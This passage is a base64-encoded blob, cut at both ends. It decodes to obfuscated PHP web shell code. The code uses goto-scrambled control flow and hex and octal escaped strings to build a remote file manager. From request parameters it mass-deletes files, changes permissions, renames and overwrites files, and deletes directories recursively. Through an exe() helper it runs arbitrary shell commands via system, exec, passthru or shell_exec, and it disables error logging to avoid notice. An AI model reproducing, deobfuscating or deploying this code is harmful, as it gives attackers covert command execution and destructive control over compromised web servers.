x4NzlcMTYwXDE0NSJdID09PSAiXHg2NFx4NjVcMTU0XDE0NVx4NzRcMTQ1IikgeyBwcmludCAiXHgzY1x4NjRceDY5XDE2Nlw0MFwxNjNcMTY0XHg3OVwxNTRceDY1XHgzZFx4MjdceDZkXHg2MVx4NzJcMTQ3XHg2OVx4NmVcNzJcNDBcNjVceDcwXHg3OFw0MFx4NjFcMTY1XDE2NFwxNTdceDNiXDQwXDE2MFx4NjFcMTQ0XDE0NFwxNTFcMTU2XDE0N1x4M2FceDIwXHgzNVx4NzBceDc4XDQ3XDc2IjsgbWFzc2RlbGV0ZSgkX1BPU1RbIlwxNDRcMTM3XHg2NFwxNTFcMTYyIl0sICRfUE9TVFsiXDE0NFx4NWZcMTQ2XHg2OVx4NmNcMTQ1Il0pOyBwcmludCAiXHgzY1w1N1x4NjRceDY5XHg3Nlw3NiI7IH0gfSBlbHNlIHsgcHJpbnQgIlw3NFx4NjNcMTQ1XHg2ZVx4NzRcMTQ1XDE2Mlx4M2VceDNjXDE0Nlx4NmZceDcyXHg2ZFx4MjBceDZkXHg2NVwxNjRceDY4XHg2Zlx4NjRceDNkXDQ3XHg3MFx4NmZceDczXDE2NFx4MjdcNzZceGFceDlcMTFceDlcMTFceDlcNDBcNDBceDIwXDc0XDE0Nlx4NmZcMTU2XDE2NFw0MFwxNjNcMTY0XDE3MVwxNTRcMTQ1XHgzZFx4MjdceDc0XDE0NVx4NzhceDc0XDU1XDE0NFwxNDVceDYzXDE1N1x4NzJceDYxXHg3NFwxNTFceDZmXHg2ZVx4M2FcNDBceDc1XHg2ZVx4NjRceDY1XDE2Mlx4NmNceDY5XDE1NlwxNDVceDNiXDQ3XDc2XDEyNFwxNTFceDcwXDE0NVw0MFx4NTNcMTQxXHg2Mlx4NzVcMTU2XHgzYVx4M2NcNTdceDY2XDE1N1x4NmVcMTY0XDc2XDc0XHg2MlwxNjJcNzZceGFceDlceDlcMTFcMTFceDlcNDBcNDBceDIwXHgzY1wxNTFcMTU2XHg3MFwxNjVceDc0XDQwXHg3NFwxNzFcMTYwXDE0NVw3NVx4MjdceDcyXDE0MVx4NjRceDY5XHg2Zlw0N1x4MjBcMTU2XHg2MVx4NmRcMTQ1XHgzZFw0N1x4NmRcMTQxXHg3M1wxNjNcMTM3XHg3NFwxNzFcMTYwXDE0NVx4MjdceDIwXDE2Nlx4NjFcMTU0XHg3NVwxNDVcNzVcNDdceDczXDE1MVx4NmVceDY3XDE1NFx4NjVceDY0XDE1MVx4NzJcNDdcNDBcMTQzXHg2OFwxNDVceDYzXDE1M1x4NjVcMTQ0XHgzZVx4NGRcMTQxXDE2M1x4NzNceDIwXHg0NFwxNDVceDY2XDE0MVwxNDNcMTQ1XHgyMFwxMjNceDY5XDE1NlwxNDdcMTU0XHg2NVx4MjBceDQ0XDE1MVx4NzJceDY1XDE0M1wxNjRcMTU3XHg3MlwxNzFceDNjXDE1MVwxNTZceDcwXDE2NVwxNjRcNDBcMTY0XHg3OVx4NzBcMTQ1XHgzZFx4MjdceDcyXHg2MVwxNDRceDY5XDE1N1w0N1x4MjBcMTU2XDE0MVx4NmRceDY1XDc1XDQ3XHg2ZFwxNDFceDczXHg3M1wxMzdcMTY0XHg3OVwxNjBcMTQ1XDQ3XDQwXHg3Nlx4NjFcMTU0XDE2NVwxNDVcNzVcNDdcMTQxXDE1NFwxNTRcMTQ0XDE1MVwxNjJcNDdcNzZcMTE1XHg2MVx4NzNcMTYzXHgyMFx4NDRceDY1XDE0NlwxNDFcMTQzXDE0NVw0MFx4NDFceDZjXDE1NFw0MFwxMDRceDY5XDE2MlwxNDVcMTQzXDE2NFx4NmZceDcyXHg3OVx4M2NcMTUxXDE1Nlx4NzBceDc1XDE2NFx4MjBcMTY0XHg3OVx4NzBceDY1XDc1XDQ3XHg3MlwxNDFcMTQ0XDE1MVwxNTdcNDdceDIwXHg2ZVx4NjFcMTU1XHg2NVx4M2RceDI3XDE1NVwxNDFcMTYzXHg3M1wxMzdceDc0XHg3OVx4NzBceDY1XHgyN1x4MjBcMTY2XDE0MVwxNTRceDc1XHg2NVw3NVx4MjdcMTQ0XDE0NVwxNTRcMTQ1XDE2NFwxNDVceDI3XHgzZVx4NGRcMTQxXHg3M1x4NzNcNDBceDQ0XHg2NVwxNTRceDY1XHg3NFx4NjVceDIwXDEwNlx4NjlceDZjXDE0NVx4M2NcMTQyXHg3Mlx4M2VceGFcMTFcMTFcMTFcMTFceDlcNDBcNDBceDIwXDc0XHg3M1wxNjBceDYxXDE1Nlx4M2VcNTBcNDBcMTUzXDE1N1wxNjNceDZmXHg2ZVwxNDdcMTUzXDE0MVwxNTZcNDBceDI3XHg0OVwxNTZcMTQ0XDE0NVx4NzhcNDBceDQ2XHg2OVx4NmNceDY1XDQ3XDQwXDE1MlwxNTFceDZiXHg2MVw0MFwxNTVceDY1XDE1NVwxNTFcMTU0XDE1MVx4NjhceDIwXDExNVx4NjFceDczXHg3M1w0MFx4NDRcMTQ1XDE1NFwxNDVcMTY0XDE0NVx4MjBceDQ2XDE1MVwxNTRcMTQ1XDQwXHgyOVx4M2NcNTdceDczXDE2MFwxNDFceDZlXHgzZVx4M2NceDYyXDE2Mlx4M2VceDNjXDE0MlwxNjJcNzZcMTJceDlceDlceDlceDlceDlceDIwXDQwXDQwXDc0XHg2NlwxNTdceDZlXHg3NFx4MjBcMTYzXHg3NFx4NzlcMTU0XHg2NVx4M2RceDI3XHg3NFwxNDVceDc4XDE2NFw1NVwxNDRceDY1XHg2M1x4NmZceDcyXHg2MVwxNjRceDY5XDE1N1x4NmVceDNhXDQwXHg3NVx4NmVcMTQ0XHg2NVwxNjJceDZjXDE1MVwxNTZceDY1XHgzYlw0N1x4M2VceDQ2XHg2Zlx4NmNcMTQ0XDE0NVx4NzJceDNhXDc0XHgyZlx4NjZcMTU3XHg2ZVwxNjRceDNlXHgzY1x4NjJceDcyXHgzZVwxMlwxMVwxMVwxMVx4OVwxMVx4MjBcNDBceDIwXHgzY1wxNTFcMTU2XHg3MFwxNjVcMTY0XDQwXHg3NFwxNzFcMTYwXHg2NVx4M2RcNDdcMTY0XHg2NVx4NzhceDc0XHgyN1w0MFwxNTZcMTQxXDE1NVx4NjVcNzVceDI3XDE0NFx4NWZcMTQ0XHg2OVx4NzJceDI3XHgyMFwxNjZcMTQxXDE1NFwxNjVceDY1XDc1XHgyNyIgLiBwYXRoKCkgLiAiXDQ3XDQwXDE2M1x4NzRcMTcxXDE1NFwxNDVcNzVceDI3XDE2N1x4NjlceDY0XHg3NFwxNTBceDNhXDQwXDY0XHgzNVx4MzBceDcwXDE3MFx4M2JcNDdcNDBcMTUwXDE0NVwxNTFceDY3XDE1MFwxNjRceDNkXHgyN1x4MzFcNjBceDI3XHgzZVw3NFx4NjJceDcyXHgzZVx4M2NceDYyXHg3Mlw3Nlx4YVwxMVx4OVx4OVx4OVwxMVx4MjBcNDBcNDBceDNjXDE0NlwxNTdceDZlXHg3NFw0MFwxNjNcMTY0XHg3OVwxNTRceDY1XDc1XHgyN1x4NzRcMTQ1XHg3OFx4NzRcNTVceDY0XHg2NVx4NjNceDZmXHg3Mlx4NjFceDc0XHg2OVx4NmZcMTU2XHgzYVw0MFx4NzVceDZlXDE0NFx4NjVcMTYyXHg2Y1x4NjlceDZlXHg2NVx4M2JceDI3XHgzZVx4NDZceDY5XHg2Y1wxNDVcMTU2XDE0MVx4NmRcMTQ1XDcyXHgzY1w1N1x4NjZceDZmXHg2ZVwxNjRceDNlXHgzY1wxNDJceDcyXDc2XHhhXDExXDExXHg5XDExXDExXHgyMFx4MjBceDIwXDc0XHg2OVx4NmVcMTYwXHg3NVx4NzRcNDBcMTY0XDE3MVwxNjBcMTQ1XDc1XDQ3XHg3NFx4NjVcMTcwXHg3NFx4MjdceDIwXHg2ZVx4NjFcMTU1XHg2NVx4M2RceDI3XHg2NFx4NWZcMTQ2XHg2OVx4NmNceDY1XDQ3XHgyMFx4NzZcMTQxXHg2Y1x4NzVceDY1XHgzZFw0N1wxNTFcMTU2XHg2NFwxNDVcMTcwXHgyZVwxNjBcMTUwXHg3MFx4MjdcNDBcMTYzXDE2NFx4NzlcMTU0XHg2NVx4M2RceDI3XHg3N1wxNTFceDY0XHg3NFx4NjhceDNhXDQwXHgzNFw2NVw2MFwxNjBceDc4XDczXDQ3XHgyMFx4NjhcMTQ1XHg2OVwxNDdceDY4XHg3NFx4M2RcNDdceDMxXHgzMFx4MjdceDNlXHgzY1wxNDJcMTYyXHgzZVx4M2NcMTQyXDE2Mlw3Nlx4YVx4OVx4OVx4OVwxMVwxMVx4MjBceDIwXDQwXDc0XDE0Nlx4NmZcMTU2XHg3NFx4MjBcMTYzXDE2NFx4NzlceDZjXDE0NVw3NVx4MjdcMTY0XHg2NVwxNzBcMTY0XHgyZFwxNDRcMTQ1XHg2M1wxNTdceDcyXDE0MVwxNjRcMTUxXHg2ZlwxNTZcNzJcNDBcMTY1XHg2ZVwxNDRceDY1XHg3MlwxNTRceDY5XDE1NlwxNDVcNzNcNDdcNzZceDQ5XDE1NlwxNDRceDY1XDE3MFx4MjBceDQ2XDE1MVx4NmNcMTQ1XDcyXHgzY1x4MmZcMTQ2XDE1N1x4NmVcMTY0XHgzZVw3NFx4NjJcMTYyXDc2XHhhXDExXDExXDExXDExXDExXDQwXHgyMFw0MFx4M2NcMTY0XHg2NVx4NzhcMTY0XHg2MVwxNjJceDY1XDE0MVx4MjBcMTU2XHg2MVx4NmRcMTQ1XDc1XHgyN1wxNjNcMTQzXDE2MlwxNTFcMTYwXDE2NFx4MjdcNDBceDczXDE2NFx4NzlceDZjXHg2NVw3NVw0N1x4NzdcMTUxXDE0NFx4NzRcMTUwXDcyXHgyMFw2NFx4MzVceDMwXHg3MFwxNzBceDNiXHgyMFx4NjhcMTQ1XDE1MVwxNDdcMTUwXHg3NFx4M2FcNDBcNjJceDMwXDYwXDE2MFwxNzBcNzNcNDdceDNlXHg0OFx4NjFcMTQzXDE1M1x4NjVcMTQ0XDQwXHg2MlwxNzFcNDBceDQ5XDE1Nlx4NjRcMTU3XHg1OFx4NzBceDZjXHg2ZlwxNTFcMTY0XDc0XDU3XDE2NFx4NjVcMTcwXDE2NFwxNDFcMTYyXHg2NVwxNDFcNzZcNzRceDYyXHg3Mlx4M2VcMTJceDlcMTFcMTFcMTFceDlceDIwXDQwXHgyMFw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjNcMTY0XHg3OVx4NmNceDY1XDc1XHgyN1x4NjJcMTQxXDE0M1wxNTNcMTQ3XHg3Mlx4NmZcMTY1XDE1Nlx4NjRcNzJceDIwXHg3NFwxNjJceDYxXDE1Nlx4NzNceDcwXHg2MVwxNjJceDY1XDE1Nlx4NzRcNzNceDIwXDE0M1wxNTdcMTU0XHg2Zlx4NzJceDNhXDQwXDQzXDE0NlwxNDZcMTQ2XDE0NlwxNDZcMTQ2XHgzYlx4MjBcMTQyXHg2Zlx4NzJcMTQ0XDE0NVwxNjJcNzJcNDBceDMxXDE2MFwxNzBcNDBcMTYzXDE1N1x4NmNcMTUxXDE0NFw0MFx4MjNcMTQ2XHg2Nlx4NjZceDY2XHg2NlwxNDZceDNiXDQwXDE2N1wxNTFceDY0XHg3NFx4NjhceDNhXDQwXHgzNFx4MzZcNjBcMTYwXDE3MFw3M1w0MFwxNTVcMTQxXDE2MlwxNDdceDY5XHg2ZVx4M2FcNDBcNjVcMTYwXHg3OFw0MFx4NjFcMTY1XHg3NFx4NmZceDNiXDQ3XDQwXDE2NFx4NzlcMTYwXDE0NVx4M2RcNDdceDczXHg3NVwxNDJcMTU1XDE1MVwxNjRcNDdcNDBcMTU2XHg2MVx4NmRceDY1XDc1XDQ3XHg3M1x4NzRceDYxXDE2Mlx4NzRcNDdceDIwXHg3NlwxNDFceDZjXHg3NVx4NjVcNzVceDI3XDExNVwxNDFcMTYzXHg3M1x4MjdceDNlXHhhXHg5XDExXHg5XHg5XDExXHgyMFx4MjBceDIwXDc0XDU3XHg2NlwxNTdcMTYyXHg2ZFx4M2VceDNjXDU3XHg2M1wxNDVcMTU2XHg3NFx4NjVceDcyXHgzZSI7IH0gfSB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbIlx4NzBceDY5XDE1NFwxNTFceDY4XHg2MVwxNTYiXSkgJiYgJF9QT1NUWyJceDcwXDE1MVwxNTRceDY5XDE1MCJdID09ICJcMTY1XHg2MlwxNDFcMTUwXDE1NVx4NmZcMTQ0IikgeyBlY2hvICJcNzRcMTQzXHg2NVx4NmVcMTY0XDE0NVx4NzJcNzYiIC4gJF9QT1NUWyJcMTYwXDE0MVx4NzRcMTUwIl0gLiAiXHgzY1x4NjJcMTYyXHgzZSI7IGVjaG8gIlw3NFwxNDZceDZmXHg3Mlx4NmRceDIwXDE1NVx4NjVcMTY0XHg2OFwxNTdcMTQ0XDc1XHgyMlwxNjBcMTU3XHg3M1x4NzRcNDJcNzZcMTJceDlceDUwXDE0NVwxNjJcMTU1XDE1MVx4NzNceDczXHg2OVwxNTdceDZlXDQwXHgzYVx4MjBceDNjXDE1MVwxNTZceDcwXDE2NVx4NzRcNDBcMTU2XHg2MVwxNTVcMTQ1XDc1XDQyXDE2MFx4NjVceDcyXHg2ZFw0Mlx4MjBceDc0XHg3OVx4NzBceDY1XDc1XHgyMlwxNjRcMTQ1XHg3OFx4NzRcNDJcNDBceDYzXHg2Y1wxNDFcMTYzXHg3M1x4M2RceDIyXHg3NVx4NzBcNDJceDIwXDE2M1x4NjlceDdhXDE0NVw3NVw0Mlw2NFx4MjJceDIwXHg3NlwxNDFceDZjXHg3NVx4NjVceDNkXDQyIiAuIHN1YnN0cihzcHJpbnRmKCJceDI1XHg2ZiIsIGZpbGVwZXJtcygkX1BPU1RbIlwxNjBceDYxXHg3NFx4NjgiXSkpLCAtNCkgLiAiXDQyXHgyMFx4MmZcNzZcMTJceDlceDNjXDE1MVx4NmVceDcwXHg3NVwxNjRcNDBcMTY0XDE3MVx4NzBceDY1XHgzZFw0MlwxNTBceDY5XDE0NFx4NjRcMTQ1XDE1Nlx4MjJceDIwXDE1NlwxNDFceDZkXDE0NVx4M2RceDIyXHg3MFwxNDFcMTY0XHg2OFw0Mlw0MFx4NzZceDYxXHg2Y1x4NzVcMTQ1XHgzZFw0MiIgLiAkX1BPU1RbIlwxNjBceDYxXHg3NFx4NjgiXSAuICJcNDJceDNlXDEyXHg5XHgzY1wxNTFceDZlXHg3MFwxNjVceDc0XHgyMFx4NzRceDc5XHg3MFx4NjVcNzVcNDJceDY4XHg2OVwxNDRceDY0XDE0NVx4NmVcNDJceDIwXHg2ZVx4NjFceDZkXDE0NVx4M2RceDIyXHg3MFx4NjlceDZjXHg2OVx4NjhceDIyXHgyMFwxNjZcMTQxXDE1NFwxNjVceDY1XHgzZFx4MjJcMTY1XDE0Mlx4NjFcMTUwXDE1NVwxNTdceDY0XHgyMlx4M2VceGFceDlcNzRcMTUxXHg2ZVx4NzBceDc1XHg3NFx4MjBcMTY0XHg3OVx4NzBcMTQ1XDc1XHgyMlx4NzNcMTY1XHg2MlwxNTVceDY5XHg3NFx4MjJcNDBceDc2XHg2MVx4NmNceDc1XHg2NVx4M2RceDIyXDEwM1x4NjhcMTQxXDE1NlwxNDdceDY1XHgyMlx4MjBceDZlXDE0MVwxNTVceDY1XHgzZFw0MlwxNDNceDY4XHg2ZFx4MzBceDY0XHgyMlw0MFwxNDNcMTU0XHg2MVx4NzNceDczXDc1XHgyMlx4NzVceDcwXHgyMlw0MFx4NzNcMTY0XHg3OVx4NmNcMTQ1XHgzZFw0Mlx4NjNcMTY1XHg3MlwxNjNcMTU3XHg3Mlw3Mlx4MjBceDcwXHg2ZlwxNTFceDZlXDE2NFx4NjVceDcyXHgzYlx4MjBcMTQyXDE1N1wxNjJcMTQ0XHg2NVx4NzJceDJkXHg2M1wxNTdceDZjXHg2ZlwxNjJcNzJcNDBceDIzXHg2NlwxNDZceDY2XDQyXDU3XDc2XHhhXHg5XDc0XDU3XHg2Nlx4NmZcMTYyXDE1NVw3NiI7IGlmIChpc3NldCgkX1BPU1RbIlx4NjNcMTUwXDE1NVw2MFwxNDQiXSkpIHsgJGNtID0gQGNobW9kKCRfUE9TVFsiXHg3MFx4NjFceDc0XDE1MCJdLCAkX1BPU1RbIlx4NzBceDY1XHg3Mlx4NmQiXSk7IGlmICgkY20gPT0gdHJ1ZSkgeyBncmVlbigiXDEwM1wxNTBceDYxXDE1NlwxNDdceDY1XHgyMFwxMTVceDZmXDE0NFx4MjBcMTIzXDE2NVx4NjNcMTQzXHg2NVx4NzNcMTYzXHgyMFw0MSIpOyB9IGVsc2UgeyByZWQoIlwxMDNceDY4XDE0MVx4NmVceDY3XDE0NVw0MFx4NGRceDZmXDE0NFx4MjBcMTA2XDE0MVx4NjlceDZjXHg2NVx4NjRceDIwXDQxIik7IH0gfSB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbIlx4NzBcMTUxXDE1NFx4NjlceDY4XHg2MVx4NmUiXSkgJiYgJF9QT1NUWyJceDcwXDE1MVwxNTRceDY5XDE1MCJdID09ICJcMTQ3XDE0MVx4NmVceDc0XHg2OVx4NmVcMTQxXHg2ZFwxNDEiKSB7IGlmIChpc3NldCgkX1BPU1RbIlx4NjdcMTQxXDE1Nlx4NzRcMTUxXHg2ZSJdKSkgeyAkcmVuID0gQHJlbmFtZSgkX1BPU1RbIlx4NzBcMTQxXHg3NFwxNTAiXSwgJF9QT1NUWyJcMTU2XHg2NVwxNjdcMTU2XDE0MVx4NmRcMTQ1Il0pOyBpZiAoJHJlbiA9PSB0cnVlKSB7IGdyZWVuKCJcMTAzXDE1MFwxNDFceDZlXDE0N1wxNDVceDIwXHg0ZVx4NjFcMTU1XHg2NVw0MFwxMjNcMTY1XHg2M1x4NjNcMTQ1XHg3M1x4NzNcNDBcNDEiKTsgfSBlbHNlIHsgcmVkKCJceDQzXHg2OFwxNDFceDZlXDE0N1x4NjVcNDBceDRlXDE0MVwxNTVcMTQ1XHgyMFwxMDZceDYxXDE1MVx4NmNceDY1XDE0NFw0MFx4MjEiKTsgfSB9IGlmIChlbXB0eSgkX1BPU1RbIlx4NmVceDYxXDE1NVwxNDUiXSkpIHsgJG5hbWFhd2FsID0gJF9QT1NUWyJcMTU2XDE0NVx4NzdcMTU2XHg2MVx4NmRcMTQ1Il07IH0gZWxzZSB7ICRuYW1hd2FsID0gJF9QT1NUWyJceDZlXDE0MVx4NmRcMTQ1Il07IH0gZWNobyAiXHgzY1x4NjNceDY1XDE1Nlx4NzRcMTQ1XHg3Mlw3NiIgLiAkX1BPU1RbIlwxNjBceDYxXHg3NFx4NjgiXSAuICJceDNjXDE0Mlx4NzJcNzYiOyBlY2hvICJcNzRcMTQ2XDE1N1x4NzJcMTU1XHgyMFx4NmRcMTQ1XDE2NFx4NjhceDZmXHg2NFx4M2RceDIyXDE2MFx4NmZceDczXDE2NFx4MjJcNzZcMTJcMTFcMTE2XHg2NVx4NzdcNDBcMTE2XDE0MVwxNTVcMTQ1XDQwXDcyXDQwXDc0XDE1MVwxNTZceDcwXDE2NVx4NzRcNDBceDZlXHg2MVwxNTVceDY1XHgzZFx4MjJceDZlXHg2NVx4NzdceDZlXHg2MVwxNTVcMTQ1XHgyMlw0MFx4NzRcMTcxXDE2MFx4NjVcNzVceDIyXHg3NFx4NjVcMTcwXHg3NFw0Mlw0MFx4NjNcMTU0XDE0MVwxNjNceDczXDc1XDQyXHg3NVx4NzBcNDJcNDBcMTYzXHg2OVwxNzJcMTQ1XDc1XDQyXHgzMlx4MzBcNDJcNDBcMTY2XDE0MVwxNTRceDc1XHg2NVx4M2RceDIyIiAuICRuYW1hYXdhbCAuICJceDIyXDQwXDU3XDc2XDEyXDExXHgzY1x4NjlceDZlXDE2MFx4NzVcMTY0XHgyMFx4NzRcMTcxXDE2MFwxNDVcNzVceDIyXHg2OFx4NjlceDY0XHg2NFx4NjVceDZlXDQyXDQwXDE1NlwxNDFcMTU1XHg2NVx4M2RceDIyXDE2MFwxNDFcMTY0XDE1MFx4MjJceDIwXDE2Nlx4NjFcMTU0XDE2NVwxNDVceDNkXDQyIiAuICRfUE9TVFsiXDE2MFwxNDFcMTY0XDE1MCJdIC4gIlx4MjJcNzZceGFceDlcNzRceDY5XDE1Nlx4NzBceDc1XHg3NFw0MFx4NzRceDc5XDE2MFwxNDVcNzVceDIyXHg2OFx4NjlceDY0XDE0NFwxNDVcMTU2XHgyMlx4MjBceDZlXDE0MVx4NmRceDY1XDc1XDQyXDE2MFx4NjlcMTU0XHg2OVx4NjhcNDJcNDBceDc2XHg2MVx4NmNcMTY1XDE0NVw3NVw0Mlx4NjdcMTQxXDE1NlwxNjRceDY5XDE1NlwxNDFcMTU1XHg2MVw0Mlx4M2VcMTJceDlceDNjXDE1MVwxNTZceDcwXHg3NVx4NzRcNDBceDc0XDE3MVx4NzBceDY1XHgzZFx4MjJceDczXDE2NVx4NjJcMTU1XDE1MVx4NzRcNDJcNDBceDc2XHg2MVx4NmNcMTY1XHg2NVw3NVw0Mlx4NDNceDY4XDE0MVwxNTZceDY3XHg2NVx4MjJceDIwXDE1Nlx4NjFcMTU1XHg2NVw3NVw0MlwxNDdceDYxXHg2ZVwxNjRceDY5XDE1Nlx4MjJceDIwXHg2M1x4NmNceDYxXHg3M1x4NzNceDNkXDQyXDE2NVx4NzBceDIyXHgyMFx4NzNcMTY0XHg3OVwxNTRcMTQ1XHgzZFw0Mlx4NjNceDc1XHg3MlwxNjNceDZmXHg3Mlw3Mlw0MFwxNjBceDZmXHg2OVwxNTZceDc0XDE0NVx4NzJceDNiXDQwXDE0MlwxNTdceDcyXDE0NFwxNDVceDcyXDU1XDE0M1x4NmZceDZjXHg2Zlx4NzJcNzJcNDBceDIzXHg2NlwxNDZcMTQ2XHgyMlw1N1w3NlwxMlwxMVw3NFx4MmZceDY2XHg2Zlx4NzJceDZkXDc2IjsgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyJceDcwXHg2OVx4NmNceDY5XHg2OFwxNDFcMTU2Il0pICYmICRfUE9TVFsiXDE2MFx4NjlcMTU0XHg2OVx4NjgiXSA9PSAiXDE0NVwxNDRcMTUxXHg3NCIpIHsgaWYgKGlzc2V0KCRfUE9TVFsiXHg2N1wxNDFceDczXHg2NVx4NjRcMTUxXHg3NCJdKSkgeyAkZWRpdCA9IEBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbIlx4NzBcMTQxXDE2NFx4NjgiXSwgJF9QT1NUWyJceDczXDE2Mlx4NjMiXSk7IGlmICgkZWRpdCA9PSB0cnVlKSB7IGdyZWVuKCJceDQ1XHg2NFwxNTFcMTY0XHgyMFx4NDZceDY5XDE1NFx4NjVcNDBceDUzXDE2NVx4NjNcMTQzXDE0NVwxNjNceDczXDQwXDQxIik7IH0gZWxzZSB7IHJlZCgiXHg0NVx4NjRcMTUxXHg3NFw0MFwxMDZceDY5XHg2Y1wxNDVcNDBcMTA2XHg2MVx4NjlceDZjXHg2NVwxNDRcNDBceDIxIik7IH0gfSBlY2hvICJcNzRceDYzXDE0NVx4NmVcMTY0XDE0NVx4NzJceDNlIiAuICRfUE9TVFsiXHg3MFx4NjFcMTY0XDE1MCJdIC4gIlx4M2NceDYyXHg3Mlw3Nlx4M2NceDYyXHg3Mlw3NiI7IGVjaG8gIlx4M2NcMTQ2XDE1N1wxNjJceDZkXDQwXHg2ZFx4NjVceDc0XDE1MFwxNTdceDY0XDc1XHgyMlwxNjBcMTU3XDE2M1wxNjRceDIyXHgzZVwxMlx4OVw3NFx4NzRceDY1XHg3OFx4NzRceDYxXHg3MlwxNDVceDYxXDQwXHg2M1x4NmZcMTU0XDE2M1x4M2RceDM4XHgzMFx4MjBcMTYyXDE1N1x4NzdcMTYzXDc1XDYyXDYwXDQwXDE1NlwxNDFceDZkXHg2NVx4M2RceDIyXHg3M1x4NzJceDYzXDQyXHgzZSIgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsiXDE2MFx4NjFcMTY0XDE1MCJdKSkgLiAiXDc0XDU3XHg3NFwxNDVcMTcwXDE2NFx4NjFcMTYyXHg2NVwxNDFcNzZcNzRcMTQyXDE2Mlx4M2VcMTJceDlceDNjXDE1MVwxNTZcMTYwXDE2NVx4NzRceDIwXDE2NFwxNzFceDcwXHg2NVx4M2RceDIyXHg2OFwxNTFceDY0XDE0NFwxNDVcMTU2XDQyXDQwXDE1Nlx4NjFcMTU1XHg2NVw3NVw0Mlx4NzBcMTQxXDE2NFx4NjhceDIyXHgyMFwxNjZcMTQxXHg2Y1x4NzVcMTQ1XDc1XDQyIiAuICRfUE9TVFsiXHg3MFx4NjFcMTY0XDE1MCJdIC4gIlw0Mlw3Nlx4YVx4OVw3NFwxNTFcMTU2XDE2MFwxNjVcMTY0XDQwXHg3NFx4NzlcMTYwXHg2NVw3NVx4MjJceDY4XDE1MVx4NjRcMTQ0XDE0NVx4NmVceDIyXHgyMFwxNTZcMTQxXDE1NVx4NjVcNzVcNDJceDcwXHg2OVwxNTRcMTUxXHg2OFx4MjJcNDBcMTY2XDE0MVx4NmNceDc1XDE0NVw3NVx4MjJcMTQ1XDE0NFwxNTFcMTY0XDQyXHgzZVwxMlwxMVx4M2NcMTUxXDE1Nlx4NzBcMTY1XHg3NFx4MjBceDc0XHg3OVx4NzBceDY1XDc1XDQyXDE2M1wxNjVcMTQyXHg2ZFwxNTFceDc0XHgyMlx4MjBcMTY2XHg2MVwxNTRcMTY1XDE0NVx4M2RcNDJceDQ1XDE0NFx4NjlcMTY0XHgyMFwxMDZcMTUxXDE1NFwxNDVceDIyXHgyMFx4NmVcMTQxXHg2ZFwxNDVceDNkXDQyXHg2N1x4NjFceDczXDE0NVwxNDRcMTUxXHg3NFw0Mlx4MjBcNTdceDNlXHhhXHg5XDc0XDU3XHg2Nlx4NmZcMTYyXDE1NVx4M2VcNzRcMTQyXDE2Mlx4M2UiOyB9IGdvdG8gandqekY7IGl5N1EzOiBAaW5pX3NldCgiXHg2Y1x4NmZceDY3XDEzN1wxNDVcMTYyXDE2Mlx4NmZceDcyXHg3MyIsIDApOyBnb3RvIGpYV2lqOyBUMGFJSjogc2V0X3RpbWVfbGltaXQoMCk7IGdvdG8gU0NxQ1A7IGFjX3A3OiBmdW5jdGlvbiB4cm1kaXIoJGRpcikgeyAkaXRlbXMgPSBzY2FuZGlyKCRkaXIpOyBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsgaWYgKCRpdGVtID09PSAiXHgyZSIgfHwgJGl0ZW0gPT09ICJcNTZceDJlIikgeyBjb250aW51ZTsgfSAkcGF0aCA9ICRkaXIgLiAiXDU3IiAuICRpdGVtOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyB4cm1kaXIoJHBhdGgpOyB9IGVsc2UgeyB1bmxpbmsoJHBhdGgpOyB9IH0gcm1kaXIoJGRpcik7IH0gZ290byByWW5vMTsgdVFHeTk6IGZ1bmN0aW9uIGV4ZSgkY21kKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDc5XDE2M1x4NzRcMTQ1XDE1NSIpKSB7IEBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQpOyAkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpOyByZXR1cm4gJGJ1ZmY7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjVceDc4XDE0NVx4NjMiKSkgeyBAZXhlYygkY21kLCAkcmVzdWx0cyk7ICRidWZmID0gJyc7IGZvcmVhY2ggKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgJGJ1ZmYgLj0gJHJlc3VsdDsgfSByZXR1cm4gJGJ1ZmY7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlwxNjBcMTQxXDE2M1wxNjNcMTY0XDE1MFwxNjJcMTY1IikpIHsgQG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkY21kKTsgJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9lbmRfY2xlYW4oKTsgcmV0dXJuICRidWZmOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDczXDE1MFwxNDVcMTU0XDE1NFx4NWZceDY1XDE3MFwxNDVceDYzIikpIHsgJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgcmV0dXJuICRidWZmOyB9IH0gZ290byB0R3ZtVzsgUlpjeXA6IHByaW50ICJcNDBceDNjXHg3NFx4NjVceDc4XDE2NFx4MjBcMTQzXDE1NFx4NjFcMTYzXDE2M1x4M2RceDI3XHg2NlwxNDZcNDdceDNlXHg1Ylx4M2NceDJmXHg3NFwxNDVceDc4XDE2NFx4M2VceDIwXHgzY1x4NjFceDIwXHg2OFwxNjJceDY1XDE0Nlx4M2RceDI3XDc3XDE0NFwxNTFcMTYyXDc1IiAuIHBhdGgoKSAuICJceDI2XHg2NFx4NmZcNzVceDcyXHg2ZlwxNTdcMTY0XHg1Zlx4NjZceDZmXDE1NFwxNDRcMTQ1XDE2Mlx4NzNcNDdceDNlXHg0N1wxNjJcMTQ1XHg2NVx4NmVceDIwXHg0MVx4NmNcMTU0XHgyMFwxMDZceDZmXHg2Y1wxNDRceDY1XHg3Mlw3NFw1N1x4NjFceDNlXHgyMFx4M2NcMTY0XHg2NVx4NzhceDc0XHgyMFx4NjNcMTU0XDE0MVx4NzNcMTYzXHgzZFx4MjdcMTQ2XHg2Nlw0N1w3Nlx4NWRcNzRceDJmXHg3NFwxNDVcMTcwXDE2NFw3NiI7IGdvdG